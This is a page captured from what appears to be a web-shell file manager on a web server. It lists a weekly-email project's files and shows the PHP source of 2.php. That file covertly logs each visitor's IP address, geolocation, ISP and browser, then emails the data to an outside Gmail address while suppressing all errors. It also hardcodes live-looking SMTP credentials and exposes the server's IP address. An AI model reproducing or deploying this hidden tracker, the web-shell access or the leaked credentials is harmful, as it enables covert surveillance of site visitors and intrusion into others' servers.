OXIESEC PANEL
- Current Dir:
/
/
var
/
www
/
cream
/
weeklyEmail
Server IP: 139.59.38.164
Upload:
Create Dir:
Name
Size
Modified
Perms
📁
..
-
06/17/2025 10:17:24 AM
rwxrwxr-x
📄
1.php
2.62 KB
06/12/2025 02:54:56 PM
rw-r--r--
📄
2.php
2.73 KB
06/12/2025 02:48:34 PM
rw-r--r--
📁
PHPMailer
-
05/19/2025 10:07:13 AM
rwxr-xr-x
📄
TEST.php
31.55 KB
06/16/2025 11:44:55 AM
rw-r--r--
📁
email_logs
-
06/18/2025 12:44:25 AM
rwxrwxrwx
📄
unsubscribe.php
7.32 KB
05/19/2025 10:07:13 AM
rw-r--r--
📄
weekly_email_cron_wrapper.sh
2.27 KB
05/12/2025 05:22:24 AM
rwxr-xr-x
📄
weeklyemail.php
30.67 KB
06/17/2025 04:15:00 AM
rw-r--r--
Editing: 2.php
Close
<?php // Enable errors only for debugging — comment these out in production ini_set('display_errors', 0); ini_set('display_startup_errors', 0); error_reporting(E_ALL); // === PHPMailer Auto-Loader Fallback === $autoloadPaths = [ __DIR__ . '/vendor/autoload.php', '/usr/share/php/vendor/autoload.php', '/usr/share/php/PHPMailer/PHPMailerAutoload.php', '/usr/local/share/php/vendor/autoload.php' ]; $loaded = false; foreach ($autoloadPaths as $path) { if (file_exists($path)) { require_once $path; $loaded = true; break; } } if (!$loaded) { // Graceful fail exit; } // --- Use Namespace --- use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; // === SMTP Settings === $smtp_host = 'mail.ehostingguru.com'; $smtp_user = 'noreply@ehostingguru.com'; $smtp_pass = 'b&vBH^ynlZ!x'; $smtp_port = 465; $send_to = 'yourcomputeronmycomputer@gmail.com'; // === Get Real IP === function getRealIP() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) return $_SERVER['HTTP_CLIENT_IP']; if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; return $_SERVER['REMOTE_ADDR']; } $ip = getRealIP(); // === Get Geo Info from ip-api === $geo = @json_decode(file_get_contents("http://ip-api.com/json/{$ip}?fields=66846719"), true); // === Compose Message === if ($geo && $geo['status'] === 'success') { $msg = "🛰️ New Visitor Logged\n\n" . "IP: {$geo['query']}\n" . "Country: {$geo['country']} ({$geo['countryCode']})\n" . "Region: {$geo['regionName']}\n" . "City: {$geo['city']}\n" . "ZIP: {$geo['zip']}\n" . "Latitude: {$geo['lat']}\n" . "Longitude: {$geo['lon']}\n" . "Timezone: {$geo['timezone']}\n" . "ISP: {$geo['isp']}\n" . "Org: {$geo['org']}\n" . "AS: {$geo['as']}\n" . "Reverse DNS: {$geo['reverse']}\n" . "Browser: " . ($_SERVER['HTTP_USER_AGENT'] ?? 'N/A') . "\n" . "Referer: " . ($_SERVER['HTTP_REFERER'] ?? 'N/A') . "\n" . "Time: " . date("Y-m-d H:i:s"); // === Send Email via PHPMailer === try { $mail = new PHPMailer(true); $mail->isSMTP(); $mail->Host = $smtp_host; $mail->SMTPAuth = true; $mail->Username = $smtp_user; $mail->Password = $smtp_pass; $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; $mail->Port = $smtp_port; $mail->setFrom($smtp_user, 'Logger'); $mail->addAddress($send_to); $mail->Subject = 'New Visitor | IP Log'; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { // Silently ignore errors to avoid 500 } } ?>